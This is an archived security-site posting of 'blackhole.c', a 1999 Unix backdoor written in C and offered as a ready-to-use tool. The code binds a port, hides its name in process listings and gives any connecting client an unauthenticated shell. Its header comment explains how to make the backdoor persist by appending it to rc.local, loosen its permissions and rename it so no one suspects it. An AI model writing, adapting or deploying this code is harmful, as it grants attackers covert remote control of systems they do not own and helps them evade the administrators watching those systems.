global security disclosure

blackhole.c

blackhole.c
Posted Aug 17, 1999
Authored by Bronc Buster

A basic backdoor that is a small, portable, and functional fake daemon. You tell it what you want it to run as under 'ps' and what port to bind to in the defines. Detailed description in the header.

tags | tool, rootkit
systems | unix
MD5 | 81ff33344cc537d85620b0e1c7fcf03b

blackhole.c

Change Mirror Download
/*
I needed a basic backdoor and most of the ones I ran across had so
many bells and whistles, or were coded in eLe3t c0d3 that they were
useless. I didn't need something that took a week to figure out and
configure, and I didn't need shit that was made as a joke. This is a
small, portable, and functional fake daemon. You tell it what you want
it to run as under 'ps' and what port to bind to in the defines below.
The smart thing to do would be to put this into the rc files so it will
start up if they find you and reboot. I'd also change it's name to
something no one will suspect. PS. if you think this is gay, fuck you..

to complie:
# gcc backhole.c -o backhole

to run:
# ./backhole &
i.e. # mv backhole /some/path/fakemail
# chmod 4770 /path/to/fakemail
# echo "/path/to/fakemail &" >> /etc/rc.d/rc.local
# /path/to/fakemail &


coded by Bronc Buster
Feb 1999
*/

#include <stdio.h>
#include <errno.h>
#include <signal.h>
#include <stdlib.h>
#include <netinet/in.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <strings.h>

/*****************************************************/
/* Changes these two defines or this won't work! <g>*/
/*****************************************************/

/* Change P to be the port you want this to listen on */
#define P 12345

/* Change HIDE to the name you want this to show as in a ps */
#define HIDE "I_did_not_change_HIDE"

#define SH "/bin/sh"
#define LISTN 5

int main(int argc, char **argv)
{

/* welcome mesg */
char *fst = "\nConnected!\n\n";
char *sec = "This fine tool coded by Bronc Buster\n";
char *thr = "Please enter each command followed by ';'\n";

int outsock, insock, sz;

/* set up two structs for in and out */
struct sockaddr_in home;
struct sockaddr_in away;
/* set port, proto and bzero for BIND */
home.sin_family=AF_INET;
home.sin_port=htons(P);
home.sin_addr.s_addr=INADDR_ANY;
bzero(&(home.sin_zero),8);

/* changing the name that will appear */
strcpy(argv[0],HIDE);

/* catch the SIG */
signal(SIGCHLD,SIG_IGN);

/* here we go! */
if((outsock=socket(AF_INET,SOCK_STREAM,0))<0)
exit(printf("Socket error\n"));

if((bind(outsock,(struct sockaddr *)&home,sizeof(home))<0))
exit(printf("Bind error\n"));

if((listen(outsock,LISTN))<0)
exit(printf("Listen error\n"));

sz=sizeof(struct sockaddr_in);

/* infinate loop - wait for accept*/
for(;;)
{
if((insock=accept(outsock,(struct sockaddr *)&away, &sz))<0)
exit(printf("Accept error"));
if(fork() !=0)
{
send(insock,fst,strlen(fst),0); /* send out welcome mesg */
send(insock,sec,strlen(sec),0);
send(insock,thr,strlen(thr),0);
dup2(insock,0); /* open stdin */
dup2(insock,1); /* open stdout */
dup2(insock,2); /* open stderr */
execl(SH,SH,(char *)0); /* start our shell */
close(insock);
exit(0); /* all done, leave and close sock */
}
close(insock);
}
}

/* EOF */

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

May 2012

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    May 1st
    37 Files
  • 2
    May 2nd
    53 Files
  • 3
    May 3rd
    33 Files
  • 4
    May 4th
    4 Files
  • 5
    May 5th
    10 Files
  • 6
    May 6th
    17 Files
  • 7
    May 7th
    19 Files
  • 8
    May 8th
    36 Files
  • 9
    May 9th
    34 Files
  • 10
    May 10th
    35 Files
  • 11
    May 11th
    20 Files
  • 12
    May 12th
    18 Files
  • 13
    May 13th
    11 Files
  • 14
    May 14th
    27 Files
  • 15
    May 15th
    58 Files
  • 16
    May 16th
    54 Files
  • 17
    May 17th
    25 Files
  • 18
    May 18th
    53 Files
  • 19
    May 19th
    9 Files
  • 20
    May 20th
    15 Files
  • 21
    May 21st
    25 Files
  • 22
    May 22nd
    32 Files
  • 23
    May 23rd
    35 Files
  • 24
    May 24th
    26 Files
  • 25
    May 25th
    25 Files
  • 26
    May 26th
    0 Files
  • 27
    May 27th
    0 Files
  • 28
    May 28th
    0 Files
  • 29
    May 29th
    0 Files
  • 30
    May 30th
    0 Files
  • 31
    May 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2012 Packet Storm. All rights reserved.

close